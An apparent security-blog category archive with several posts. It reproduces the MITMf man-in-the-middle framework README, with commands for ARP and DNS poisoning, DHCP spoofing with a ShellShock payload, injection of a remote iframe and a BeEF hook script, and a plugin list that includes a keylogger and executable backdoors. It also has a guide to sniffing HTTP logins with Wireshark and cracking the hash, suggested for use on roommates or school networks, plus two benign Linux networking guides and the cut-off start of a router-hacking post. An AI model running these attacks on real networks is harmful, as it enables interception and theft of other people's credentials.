Never Ending Security

It starts all here

Category Archives: Networking

MITMf – Framework for Man-In-The-Middle attacks



MITMf


Framework for Man-In-The-Middle attacks

Quick tutorials, examples and developer updates at: https://byt3bl33d3r.github.io

This tool is based on sergio-proxy and is an attempt to revive and update the project.

Contact me at:

Before submitting issues, please read the relevant section in the wiki .

Installation

MITMf relies on a LOT of external libraries therefore it is highly recommended you use virtualenvs to install the framework, this avoids permission issues and conflicts with your system site packages (especially on Kali Linux).

Before starting the installation process:

  • On Arch Linux:
pacman -S python2-setuptools libnetfilter_queue libpcap libjpeg-turbo
  • On Debian and derivatives (e.g Ubuntu, Kali Linux etc…)
apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev

Installing MITMf

Note: if you’re rocking Arch Linux: you’re awesome! Just remember to use pip2 instead of pip outside of the virtualenv

  • Install virtualenvwrapper:
pip install virtualenvwrapper
  • Edit your .bashrc or .zshrc file to source the virtualenvwrapper.sh script:
source /usr/bin/virtualenvwrapper.sh

The location of this script may vary depending on your Linux distro

  • Restart your terminal or run:
source /usr/bin/virtualenvwrapper.sh
  • Create your virtualenv:
mkvirtualenv MITMf -p /usr/bin/python2.7
  • Clone the MITMf repository:
git clone https://github.com/byt3bl33d3r/MITMf
  • cd into the directory, initialize and clone the repos submodules:
cd MITMf && git submodule init && git submodule update --recursive
  • Install the dependencies:
pip install -r requirements.txt
  • You’re ready to rock!
python mitmf.py --help

Description

MITMf aims to provide a one-stop-shop for Man-In-The-Middle and network attacks while updating and improving existing attacks and techniques.

Originally built to address the significant shortcomings of other tools (e.g Ettercap, Mallory), it’s been almost completely re-written from scratch to provide a modular and easily extendible framework that anyone can use to implement their own MITM attack.

Features

  • The framework contains a built-in SMB, HTTP and DNS server that can be controlled and used by the various plugins, it also contains a modified version of the SSLStrip proxy that allows for HTTP modification and a partial HSTS bypass.
  • As of version 0.9.8, MITMf supports active packet filtering and manipulation (basically what etterfilters did, only better), allowing users to modify any type of traffic or protocol.
  • The configuration file can be edited on-the-fly while MITMf is running, the changes will be passed down through the framework: this allows you to tweak settings of plugins and servers while performing an attack.
  • MITMf will capture FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc.) and Kerberos credentials by using Net-Creds, which is run on startup.
  • Responder integration allows for LLMNR, NBT-NS and MDNS poisoning and WPAD rogue server support.

Active packet filtering/modification

You can now modify any packet/protocol that gets intercepted by MITMf using Scapy! (no more etterfilters! yay!)

For example, here’s a stupid little filter that just changes the destination IP address of ICMP packets:

if packet.haslayer(ICMP):
    log.info('Got an ICMP packet!')
    packet.dst = '192.168.1.0'
  • Use the packet variable to access the packet in a Scapy compatible format
  • Use the data variable to access the raw packet data

Now to use the filter all we need to do is: python mitmf.py -F ~/filter.py

You will probably want to combine that with the Spoof plugin to actually intercept packets from someone else ;)

Note: you can modify filters on-the-fly without restarting MITMf!

Examples

The most basic usage, starts the HTTP proxy SMB,DNS,HTTP servers and Net-Creds on interface enp3s0:

python mitmf.py -i enp3s0

ARP poison the whole subnet with the gateway at 192.168.1.1 using the Spoof plugin:

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1

Same as above + a WPAD rogue proxy server using the Responder plugin:

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad

ARP poison 192.168.1.16-45 and 192.168.0.1/24 with the gateway at 192.168.1.1:

python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1

Enable DNS spoofing while ARP poisoning (Domains to spoof are pulled from the config file):

python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1

Enable LLMNR/NBTNS/MDNS spoofing:

python mitmf.py -i enp3s0 --responder --wredir --nbtns

Enable DHCP spoofing (the ip pool and subnet are pulled from the config file):

python mitmf.py -i enp3s0 --spoof --dhcp

Same as above with a ShellShock payload that will be executed if any client is vulnerable:

python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'

Inject an HTML IFrame using the Inject plugin:

python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com

Inject a JS script:

python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js

And much much more!

Of course you can mix and match almost any plugin together (e.g. ARP spoof + inject + Responder etc..)

For a complete list of available options, just run python mitmf.py --help

Currently available plugins

  • HTA Drive-By : Injects a fake update notification and prompts clients to download an HTA application
  • SMBTrap : Exploits the ‘SMB Trap’ vulnerability on connected clients
  • ScreenShotter : Uses HTML5 Canvas to render an accurate screenshot of a clients browser
  • Responder : LLMNR, NBT-NS, WPAD and MDNS poisoner
  • SSLstrip+ : Partially bypass HSTS
  • Spoof : Redirect traffic using ARP, ICMP, DHCP or DNS spoofing
  • BeEFAutorun : Autoruns BeEF modules based on a client’s OS or browser type
  • AppCachePoison : Performs HTML5 App-Cache poisoning attacks
  • Ferret-NG : Transperently hijacks client sessions
  • BrowserProfiler : Attempts to enumerate all browser plugins of connected clients
  • FilePwn : Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy
  • Inject : Inject arbitrary content into HTML content
  • BrowserSniper : Performs drive-by attacks on clients with out-of-date browser plugins
  • JSkeylogger : Injects a Javascript keylogger into a client’s webpages
  • Replace : Replace arbitary content in HTML content
  • SMBAuth : Evoke SMB challenge-response authentication attempts
  • Upsidedownternet : Flips images 180 degrees


More information can be found on: https://github.com/byt3bl33d3r/MITMf


Connect to WiFi Network From Command Line In Linux


How many of you failed to connect to WiFi network in Linux? Did you bumped into issues like the followings in different forums, discussion page, blogs? I am sure everyone did at some point. Following list shows just the results from Page 1 of a Google search result with “Unable to connect to WiFi network in Linux” keywords.Connect to WiFi network in Linux from command line - blackMORE Ops

  1. Cannot connect to wifi at home after upgrade to ubuntu 14.04
  2. Arch Linux not connecting to Wifi anymore
  3. I can’t connect to my wifi
  4. Cannot connect to WiFi
  5. Ubuntu 13.04 can detect wi-fi but can’t connect
  6. Unable to connect to wireless network ath9k
  7. Crazy! I can see wireless network but can’t connect
  8. Unable to connect to Wifi Access point in Debian 7
  9. Unable to connect Wireless

Following guide explains how you can connect to a WiFi network in Linux from command Line. This guide will take you through the steps for connecting to a WPA/WPA2 WiFi network.

Contents

  • WiFi network from command line – Required tools
  • Linux WPA/WPA2/IEEE 802.1X Supplicant
    • iw – Linux Wireless
    • ip – ip program in Linux
    • ping
  • Step 1: Find available WiFi adapters – WiFi network from command line
  • Step 2: Check device status – WiFi network from command line
  • Step 3: Bring up the WiFi interface – WiFi network from command line
  • Step 4: Check the connection status – WiFi network from command line
  • Step 5: Scan to find WiFi Network – WiFi network from command line
  • Step 6: Generate a wpa/wpa2 configuration file – WiFi network from command line
  • Step 7: Connect to WPA/WPA2 WiFi network – WiFi network from command line
  • Step 8: Get an IP using dhclient – WiFi network from command line
  • Step 9: Test connectivity – WiFi network from command line
  • Conclusion

WiFi network from command line – Required tools

Following tools are required to connect to WiFi network in Linux from command line

  1. wpa_supplicant
  2. iw
  3. ip
  4. ping

Before we jump into technical jargons let’s just quickly go over each item at a time.

Linux WPA/WPA2/IEEE 802.1X Supplicant

wpa_supplicant is a WPA Supplicant for Linux, BSD, Mac OS X, and Windows with support for WPA and WPA2 (IEEE 802.11i / RSN). It is suitable for both desktop/laptop computers and embedded systems. Supplicant is the IEEE 802.1X/WPA component that is used in the client stations. It implements key negotiation with a WPA Authenticator and it controls the roaming and IEEE 802.11 authentication/association of the wlan driver.

iw – Linux Wireless

iw is a new nl80211 based CLI configuration utility for wireless devices. It supports all new drivers that have been added to the kernel recently. The old tool iwconfing, which uses Wireless Extensions interface, is deprecated and it’s strongly recommended to switch to iw and nl80211.

ip – ip program in Linux

ip is used to show / manipulate routing, devices, policy routing and tunnels. It is used for enabling/disabling devices and it helps you to find general networking informations. ip was written by Alexey N. Kuznetsov and added in Linux 2.2. Use man ip to see full help/man page.

ping

Good old ping For every ping, there shall be a pong …. ping-pong – ping-pong – ping-pong … that should explain it.

BTW man ping helps too …

Step 1: Find available WiFi adapters – WiFi network from command line

This actually help .. I mean you need to know your WiFi device name before you go an connect to a WiFi network. So just use the following command that will list all the connected WiFi adapters in your Linux machines.

root@kali:~# iw dev
phy#1
    Interface wlan0
        ifindex 4
        type managed
root@kali:~#

Let me explain the output:

This system has 1 physical WiFi adapters.

  1. Designated name: phy#1
  2. Device names: wlan0
  3. Interface Index: 4. Usually as per connected ports (which can be an USB port).
  4. Type: Managed. Type specifies the operational mode of the wireless devices. managed means the device is a WiFi station or client that connects to an access point.

Connect to WiFi network in Linux from command line - Find WiFi adapters - blackMORE Ops-1

Step 2: Check device status – WiFi network from command line

By this time many of you are thinking, why two network devices. The reason I am using two is because I would like to show how a connected and disconnected device looks like side by side. Next command will show you exactly that.

You can check that if the wireless device is up or not using the following command:

root@kali:~# ip link show wlan0
4: wlan0: <BROADCAST,MULTICAST> mtu 1500 qdisc mq state DOWN mode DORMANT qlen 1000
    link/ether 00:60:64:37:4a:30 brd ff:ff:ff:ff:ff:ff
root@kali:~# 

As you can already see, I got once interface (wlan0) as state UP and wlan1 as state DOWN.

Look for the word “UP” inside the brackets in the first line of the output.

Connect to WiFi network in Linux from command line - Check device status- blackMORE Ops-2

In the above example, wlan1 is not UP. Execute the following command to

Step 3: Bring up the WiFi interface – WiFi network from command line

Use the following command to bring up the WiFI interface

root@kali:~# ip link set wlan0 up

Note: If you’re using Ubuntu, Linux Mint, CentOS, Fedora etc. use the command with ‘sudo’ prefix

Connect to WiFi network in Linux from command line - Bring device up - blackMORE Ops-3

If you run the show link command again, you can tell that wlan1 is now UP.

root@kali:~# ip link show wlan0
4: wlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP mode DORMANT qlen 1000
    link/ether 00:60:64:37:4a:30 brd ff:ff:ff:ff:ff:ff
root@kali:~# 

Step 4: Check the connection status – WiFi network from command line

You can check WiFi network connection status from command line using the following command

root@kali:~# iw wlan0 link
Not connected.
root@kali:~# 

Connect to WiFi network in Linux from command line - Check device connection - blackMORE Ops-4

The above output shows that you are not connected to any network.

Step 5: Scan to find WiFi Network – WiFi network from command line

Scan to find out what WiFi network(s) are detected

root@kali:~# iw wlan0 scan
BSS 9c:97:26:de:12:37 (on wlan0)
    TSF: 5311608514951 usec (61d, 11:26:48)
    freq: 2462
    beacon interval: 100
    capability: ESS Privacy ShortSlotTime (0x0411)
    signal: -53.00 dBm 
    last seen: 104 ms ago
    Information elements from Probe Response frame:
    SSID: blackMOREOps
    Supported rates: 1.0* 2.0* 5.5* 11.0* 18.0 24.0 36.0 54.0 
    DS Parameter set: channel 11
    ERP: Barker_Preamble_Mode
    RSN:     * Version: 1
         * Group cipher: CCMP
         * Pairwise ciphers: CCMP
         * Authentication suites: PSK
         * Capabilities: 16-PTKSA-RC (0x000c)
    Extended supported rates: 6.0 9.0 12.0 48.0 
---- truncated ----

The 2 important pieces of information from the above are the SSID and the security protocol (WPA/WPA2 vs WEP). The SSID from the above example is blackMOREOps. The security protocol is RSN, also commonly referred to as WPA2. The security protocol is important because it determines what tool you use to connect to the network.

— following image is a sample only —

Connect to WiFi network in Linux from command line - Scan Wifi Network using iw - blackMORE Ops - 5

Step 6: Generate a wpa/wpa2 configuration file – WiFi network from command line

Now we will generate a configuration file for wpa_supplicant that contains the pre-shared key (“passphrase“) for the WiFi network.

root@kali:~# wpa_passphrase blackMOREOps >> /etc/wpa_supplicant.conf
abcd1234
root@kali:~#
(where 'abcd1234' was the Network password)

wpa_passphrase uses SSID as a string, that means you need to type in the passphrase for the WiFi networkblackMOREOps after you run the command.

Connect to WiFi network in Linux from command line - Connect to WPA WPA2 WiFi network - blackMORE Ops - 6

Note: If you’re using Ubuntu, Linux Mint, CentOS, Fedora etc. use the command with ‘sudo’ prefix

wpa_passphrase will create the necessary configuration entries based on your input. Each new network will be added as a new configuration (it wont replace existing configurations) in the configurations file /etc/wpa_supplicant.conf.

root@kali:~# cat /etc/wpa_supplicant.conf 
# reading passphrase from stdin
network={
 ssid="blackMOREOps"
 #psk="abcd1234"
 psk=42e1cbd0f7fbf3824393920ea41ad6cc8528957a80a404b24b5e4461a31c820c
}
root@kali:~# 

Step 7: Connect to WPA/WPA2 WiFi network – WiFi network from command line

Now that we have the configuration file, we can use it to connect to the WiFi network. We will be usingwpa_supplicant to connect. Use the following command

root@kali:~# wpa_supplicant -B -D wext -i wlan0 -c /etc/wpa_supplicant.conf
ioctl[SIOCSIWENCODEEXT]: Invalid argument 
ioctl[SIOCSIWENCODEEXT]: Invalid argument 
root@kali:~#

Where,

  • -B means run wpa_supplicant in the background.
  • -D specifies the wireless driver. wext is the generic driver.
  • -c specifies the path for the configuration file.

Connect to WiFi network in Linux from command line - Connect to WPA WPA2 WiFi network - blackMORE Ops - 7

Use the iw command to verify that you are indeed connected to the SSID.

root@kali:~# iw wlan0 link
Connected to 9c:97:00:aa:11:33 (on wlan0)
    SSID: blackMOREOps
    freq: 2412
    RX: 26951 bytes (265 packets)
    TX: 1400 bytes (14 packets)
    signal: -51 dBm
    tx bitrate: 6.5 MBit/s MCS 0

    bss flags:    short-slot-time
    dtim period:    0
    beacon int:    100

Step 8: Get an IP using dhclient – WiFi network from command line

Until step 7, we’ve spent time connecting to the WiFi network. Now use dhclient to get an IP address by DHCP

root@kali:~# dhclient wlan0
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~#

You can use ip or ifconfig command to verify the IP address assigned by DHCP. The IP address is 10.0.0.4from below.

root@kali:~# ip addr show wlan0
4: wlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP qlen 1000
    link/ether 00:60:64:37:4a:30 brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.4/24 brd 10.0.0.255 scope global wlan0
       valid_lft forever preferred_lft forever
    inet6 fe80::260:64ff:fe37:4a30/64 scope link 
       valid_lft forever preferred_lft forever
root@kali:~# 

(or)

root@kali:~# ifconfig wlan0
wlan0 Link encap:Ethernet HWaddr 00:60:64:37:4a:30 
 inet addr:10.0.0.4 Bcast:10.0.0.255 Mask:255.255.255.0
 inet6 addr: fe80::260:64ff:fe37:4a30/64 Scope:Link
 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
 RX packets:23868 errors:0 dropped:0 overruns:0 frame:0
 TX packets:23502 errors:0 dropped:0 overruns:0 carrier:0
 collisions:0 txqueuelen:1000 
 RX bytes:22999066 (21.9 MiB) TX bytes:5776947 (5.5 MiB)

root@kali:~# 

Add default routing rule.The last configuration step is to make sure that you have the proper routing rules.

root@kali:~# ip route show 
default via 10.0.0.138 dev wlan0 
10.0.0.0/24 dev wlan0  proto kernel  scope link  src 10.0.0.4 

Connect to WiFi network in Linux from command line - Check Routing and DHCP - blackMORE Ops - 8

Step 9: Test connectivity – WiFi network from command line

Ping Google’s IP to confirm network connection (or you can just browse?)

root@kali:~# ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_req=3 ttl=42 time=265 ms
64 bytes from 8.8.8.8: icmp_req=4 ttl=42 time=176 ms
64 bytes from 8.8.8.8: icmp_req=5 ttl=42 time=174 ms
64 bytes from 8.8.8.8: icmp_req=6 ttl=42 time=174 ms
^C
--- 8.8.8.8 ping statistics ---
6 packets transmitted, 4 received, 33% packet loss, time 5020ms
rtt min/avg/max/mdev = 174.353/197.683/265.456/39.134 ms
root@kali:~# 

Conclusion

This is a very detailed and long guide. Here is a short summary of all the things you need to do in just few line.

root@kali:~# iw dev
root@kali:~# ip link set wlan0 up
root@kali:~# iw wlan0 scan
root@kali:~# wpa_passphrase blackMOREOps >> /etc/wpa_supplicant.conf
root@kali:~# wpa_supplicant -i wlan0 -c /etc/wpa_supplicant.conf
root@kali:~# iw wlan0 link
root@kali:~# dhclient wlan0
root@kali:~# ping 8.8.8.8
(Where wlan0 is wifi adapter and blackMOREOps is SSID)
(Add Routing manually)
root@kali:~# ip route add default via 10.0.0.138 dev wlan0

At the end of it, you should be able to connect to WiFi network. Depending on the Linux distro you are using and how things go, your commands might be slightly different. Edit commands as required to meet your needs.

Setup DHCP Or Static IP Address From Command Line In Linux


Did you ever had trouble with Network Manager and felt that you need to try to setup DHCP orstatic IP address from command Line in Linux? I once accidentally removed Gnome (my bad, wasn’t paying attention and did an apt-get autoremove -y .. how bad is that.. ) So I was stuck, I couldn’t connect to Internet to reinstall my Gnome Network Manager because I’m in TEXT modenetwork-manager was broken.  I learned a good lesson. you need internet for almost anything these days unless you’ve memorized all those manual command.

This guide will guide you on how to setup DHCP or static IP address from command Line in Linux. It saved me when I was in trouble, hopefully you will find it useful as well.

Note that my network interface is eth0 for this whole guide. Change eth0 to match your network interface.

Static assignment of IP addresses is typically used to eliminate the network traffic associated with DHCP/DNS and to lock an element in the address space to provide a consistent IP target.

Step 1 : STOP and START Networking service

Some people would argue restart would work, but I prefer STOP-START to do a complete rehash. Also if it’s not working already, why bother?

# /etc/init.d/networking stop
 [ ok ] Deconfiguring network interfaces...done.
 # /etc/init.d/networking start
 [ ok ] Configuring network interfaces...done.

Step 2 : STOP and START Network-Manager

If you have some other network manager (i.e. wicd, then start stop that one).

# /etc/init.d/network-manager stop
 [ ok ] Stopping network connection manager: NetworkManager.
 # /etc/init.d/network-manager start
 [ ok ] Starting network connection manager: NetworkManager.

Just for the kicks, following is what restart would do:

 # /etc/init.d/network-manager restart
 [ ok ] Stopping network connection manager: NetworkManager.
 [ ok ] Starting network connection manager: NetworkManager.

Step 3 : Bring up network Interface

Now that we’ve restarted both networking and network-manager services, we can bring our interface eth0 up. For some it will already be up and useless at this point. But we are going to fix that in next few steps.

# ifconfig eth0 up 
(or)
# ifup eth0

The next command shows the status of the interface. as you can see, it doesn’t have any IP address assigned to it now.

 # ifconfig eth0
 eth0      Link encap:Ethernet  HWaddr aa:bb:cc:11:22:33
 UP BROADCAST MULTICAST  MTU:1500  Metric:1
 RX packets:0 errors:0 dropped:0 overruns:0 frame:0
 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
 collisions:0 txqueuelen:1000
 RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

Setup DHCP or static IP address from command Line in Linux - blackMORE Ops - 6

Step 4 : Setting up IP address – DHCP or Static?

Now we have two options. We can setup DHCP or static IP address from command Line in Linux. If you decide to use DHCP address, ensure your Router is capable to serving DHCP. If you think DHCP was the problem all along, then go for static.

Again, if you’re using static IP address, you might want to investigate what range is supported in the network you are connecting to. (i.e. some networks uses 10.0.0.0/8, some uses 172.16.0.0/8 etc. ranges). For some readers, this might be trial and error method, but it always works.

Step 4.1 – Setup DHCP from command Line in Linux

Assuming that you’ve already completed step 1,2 and 3, you can just use this simple command

The first command updates/etc/network/interfaces file with eth0 interface to use DHCP.

# echo “iface eth0 inet dhcp” >>/etc/network/interfaces

The next command brings up the interface.

# ifconfig eth0 up 
(or)
# ifup eth0

With DHCP, you get IP address, subnet mask, broadcast address, Gateway IP and DNS ip addresses. Go to step xxx to test your internet connection.

Step 4.2 – Setup static IP, subnet mask, broadcast address in Linux

Use the following command to setup IP, subnet mask, broadcast address in Linux. Note that I’ve highlighted the IP addresses in red. You will be able to find these details from another device connected to the network or directly from the router or gateways status page. (i.e. some networks uses 10.0.0.0/8, some uses 172.16.0.0/8 etc. ranges)

 # ifconfig eth0 192.168.43.226
 # ifconfig eth0 netmask 255.255.255.0
 # ifconfig eth0 broadcast 192.168.43.255

Next command shows the IP address and details that we’ve set manually.

# ifconfig eth0
 eth0     Link encap:Ethernet  HWaddr aa:bb:cc:11:22:33
 inet addr:192.168.43.226  Bcast:192.168.43.255  Mask:255.255.255.0
 UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
 RX packets:19325 errors:0 dropped:0 overruns:0 frame:0
 TX packets:19641 errors:0 dropped:0 overruns:0 carrier:0
 collisions:0 txqueuelen:1000
 RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

Because we are doing everything manually, we also need to setup the Gateway address for the interface. Use the following command to add default Gateway route to eth0.

# route add default gw 192.168.43.1 eth0

We can confirm it using the following command:

# route -n
 Kernel IP routing table
 Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
 0.0.0.0         192.168.43.1    0.0.0.0         UG    0      0        0 eth0
 192.168.43.0    0.0.0.0         255.255.255.0   U     0      0        0 eth0

Step 4.3 – Alternative way of setting Static IP in a DHCP network

If you’re connected to a network where you have DHCP enabled but want to assign a static IP to your interface, you can use the following command to assign Static IP in a DHCP network, netmask and Gateway.

# echo -e “iface eth0 inet dhcp\n address 10.1.1.2\n netmask 255.255.255.0\n gateway 10.1.1.1″>>/etc/network/interfaces 

At this point if your network interface is not up already, you can bring it up.

# ifconfig eth0 up 
(or)
# ifup eth0

Step 4.4 –  Fix missing default Gateway

Looks good to me so far. We’re almost there.

Try to ping http://google.com/ (cause if http://www.google.com is down, Internet is broken!):

# ping google.com
 PING google.com (119.30.40.16) 56(84) bytes of data.
 64 bytes from cache.google.com (119.30.40.16): icmp_req=1 ttl=49 time=520 ms
 64 bytes from cache.google.com (119.30.40.16): icmp_req=2 ttl=49 time=318 ms
 64 bytes from cache.google.com (119.30.40.16): icmp_req=3 ttl=49 time=358 ms
 64 bytes from cache.google.com (119.30.40.16): icmp_req=4 ttl=49 time=315 ms
 ^C
 --- google.com ping statistics ---
 4 packets transmitted, 4 received, 0% packet loss, time 3002ms
 rtt min/avg/max/mdev = 315.863/378.359/520.263/83.643 ms

It worked!

Step 5 : Setting up nameserver / DNS

For most users step 4.4 would be the last step. But in case you get a DNS error you want to assign DNS servers manually, then use the following command:

# echo “nameserver 8.8.8.8\n nameserver 8.8.4.4″ >>/etc/resolv.conf

This will add Google Public DNS servers to your resolv.conf file. Now you should be able to ping or browse to any website.

Conclusion

Losing internet connection these days is just painful because we are so dependent on Internet to find usable information. It gets frustrating when you suddenly lose your GUI and/or your Network Manager and all you got is either an Ethernet port or Wireless card to connect to the internet. But then again you need to memorize all these steps.

I’ve tried to made this guide as much generic I can, but if you have a suggestion or if I’ve made a mistake, feel free to comment. Thanks for reading. Please share & RT.

Website Password & User Credentials Sniffing/Hacking Using WireShark


Did you knew every time you fill in your username and password on a website and press ENTER, you are sending your password. Well, of course you know that. How else you’re going to authenticate yourself to the website?? But, (yes, there’s a small BUT here).. when a website allows you to authenticate using HTTP (PlainText), it is very simple to capture that traffic and later analyze that from any machine over LAN (and even Internet). That bring us to this website password hacking guide that works on any site that is using HTTP protocol for authentication. Well, to do it over Internet, you need to be able to sit on a Gateway or central HUB (BGP routers would do – if you go access and the traffic is routed via that).

But to do it from a LAN is easy and at the same time makes you wonder, how insecure HTTP really is. You could be doing to to your roommate, Work Network or even School, College, University network assuming the network allows broadcast traffic and your LAN card can be set to promiscuous mode.

So lets try this on a simple website. I will hide part of the website name (just for the fact that they are nice people and I respect their privacy.). For the sake of this guide, I will just show everything done on a single machine. As for you, try it between two VirtualBox/VMWare/Physical machines.

p.s. Note that some routers doesn’t broadcast traffic, so it might fail for those particular ones.

Step 1: Start Wireshark and capture traffic

In Kali Linux you can start Wireshark by going to

Application > Kali Linux > Top 10 Security Tools > Wireshark

In Wireshark go to Capture > Interface and tick the interface that applies to you. In my case, I am using a Wireless USB card, so I’ve selected wlan0.

Website Password hacking using WireShark - blackMORE Ops - 1

Ideally you could just press Start button here and Wireshark will start capturing traffic. In case you missed this, you can always capture traffic by going back to Capture > Interface > Start

Website Password hacking using WireShark - blackMORE Ops - 2

Step 2: Filter captured traffic for POST data

At this point Wireshark is listening to all network traffic and capturing them. I opened a browser and signed in a website using my username and password. When the authentication process was complete and I was logged in, I went back and stopped the capture in Wireshark.

Usually you see a lot of data in Wireshark. However are are only interested on POST data.

Why POST only?

Because when you type in your username, password and press the Login button, it generates a a POSTmethod (in short – you’re sending data to the remote server).

To filter all traffic and locate POST data, type in the following in the filter section

http.request.method == “POST”

See screenshot below. It is showing 1 POST event.

Website Password hacking using WireShark - blackMORE Ops - 3

Step 3: Analyze POST data for username and password

Now right click on that line and select Follow TCP Steam

Website Password hacking using WireShark - blackMORE Ops - 4

This will open a new Window that contains something like this:

HTTP/1.1 302 Found 
Date: Mon, 10 Nov 2014 23:52:21 GMT 
Server: Apache/2.2.15 (CentOS) 
X-Powered-By: PHP/5.3.3 
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" 
Set-Cookie: non=non; expires=Thu, 07-Nov-2024 23:52:21 GMT; path=/ 
Set-Cookie: password=e4b7c855be6e3d4307b8d6ba4cd4ab91; expires=Thu, 07-Nov-2024 23:52:21 GMT; path=/ 
Set-Cookie: scifuser=sampleuser; expires=Thu, 07-Nov-2024 23:52:21 GMT; path=/ 
Location: loggedin.php 
Content-Length: 0 
Connection: close 
Content-Type: text/html; charset=UTF-8

I’ve highlighted the user name and password field.

So in this case,

  1. username: sampleuser
  2. password: e4b7c855be6e3d4307b8d6ba4cd4ab91

But hang on, e4b7c855be6e3d4307b8d6ba4cd4ab91 can’t be a real password. It must be a hash value.

Note that some website’s doesn’t hash password’s at all even during sign on. For those, you’ve already got the username and password. In this case, let’s go bit far and identify this hash value

Step 4: Identify hash type

I will use hash-identifier to find out which type of hash is that. Open terminal and type in hash-identifier and paste the hash value. hash-identifier will give you possible matches.

See screenshot below:

Website Password hacking using WireShark - blackMORE Ops - 6

Now one thing for sure, we know it’s not a Domain Cached Credential. So it must be a MD5 hash value.

I can crack that using hashcat or cudahashcat.

Step 5: Cracking MD5 hashed password

I can easily crack this simple password using hashcat or similar softwares.

root@kali:~# hashcat -m 0 -a 0 /root/wireshark-hash.lf /root/rockyou.txt
(or)
root@kali:~# cudahashcat -m 0 -a 0 /root/wireshark-hash.lf /root/rockyou.txt
(or)
root@kali:~# cudahashcat32 -m 0 -a 0 /root/wireshark-hash.lf /root/rockyou.txt
(or)
root@kali:~# cudahashcat64 -m 0 -a 0 /root/wireshark-hash.lf /root/rockyou.txt

Because this was a simple password that existed in my password list, hashcat cracked it very easily.

Cracking password hashes

Website Password hacking using WireShark - blackMORE Ops - 7

Out final outcome looks like this:

  1. username: sampleuser
  2. password: e4b7c855be6e3d4307b8d6ba4cd4ab91:simplepassword

Conclusion

Well, to be honest it’s not possible for every website owner to implement SSL to secure password, some SSL’s cost you upto 1500$ per URL (well, you can get 10$ ones too but I personally never used those so I can’t really comment). But the least website owners (public ones where anyone can register) should do is to implement hashing during login-procedures. In that way, at least the password is hashed and that adds one more hurdle for someone from hacking website password easily. Actually it’s a big one as SSL encryption (theoretically) can take 100+years even with the best SuperComputer of today.

Enjoy and use this guide responsibly. Please Share and RT. Thanks.

Router Hack – How to hack ADSL router using NMAP


Asynchronous digital subscriber line (DSL or ADSL) modem is a device used to connect a computer or router to a telephone line which provides the digital subscriber line service for connectivity to the Internet, which is often called DSL or ADSL broadband. In this guide I will show you show you how to scan IP range for connected ADSL or DSL modem routers and find DSL ADSL router hack remotely. This guide applies to Windows, Linux or Mac, so it doesn’t matter what’s your Operating system is, you can try the same steps from all these operating systems. The term DSL or ADSL modem is technically used to describe a modem which connects to a single computer, through a USB port or is installed in a computer PCI slot. The more common DSL or ADSL router which combines the function of a DSL or ADSL modem and a home router, is a standalone device which can be connected to multiple computers through multiple Ethernet ports or an integral wireless access point. Also called a residential gateway, a DSL or ADSL router usually manages the connection and sharing of the DSL or ADSL service in a home or small office network.

Put this together with Wireshark hacking for http websites, you got a nightmare for the user behind that router as all their passwords and details can be tracked very easily.

What’s in a DSL ADSL Router?

A DSL or ADSL router consists of a box which has an RJ11 jack to connect to a standard subscriber telephone line. It has several RJ45 jacks for Ethernet cables to connect it to computers or printers, creating a local network. It usually also has a USB jack which can be used to connect to computers via a USB cable, to allow connection to computers without an Ethernet port. A wireless DSL or ADSL router also has antennas to allow it to act as a wireless access point, so computers can connect to it forming a wireless network. Power is usually supplied by a cord from a wall wart transformer. It usually has a series of LED status lights which show the status of parts of the DSL or ADSL communications link:

  1. Power light – indicates that the modem is turned on and has power.
  2. Ethernet lights – There is usually a light over each Ethernet jack. A steady (or sometimes flashing) light indicates that the Ethernet link to that computer or device is functioning
  3. DSL or ADSL light – a steady light indicates that the modem has established contact with the equipment in the local telephone exchange (DSL or ADSLAM) so the DSL or ADSL link over the telephone line is functioning
  4. Internet light – a steady light indicates that the IP address and DHCP protocol are initialized and working, so the system is connected to the Internet
  5. Wireless light – only in wireless DSL or ADSL modems, this indicates that the wireless network is initialized and working

Almost every ADSL DSL modem router provides a management web-page available via Internal network (LAN or Local area network) for device management, configuration and status reporting. You are supposed to login to the management web-page, configure a username password combination provided by your ISP (Internet service provider) which then allows you to connect to internet. The network is divided into two parts:

External Network

External network indicates the part where ADSL DSL modem routers connects to upstream provider for internet connectivity. Once connected to the ISP via a Phone line (ADSL DSL Modem routers can use conventional Copper Phone lines to connect to ISP at a much higher speed), the router gets an IP address. This is usually a Publicly routable IP address which is open to the whole world.

Internal Network

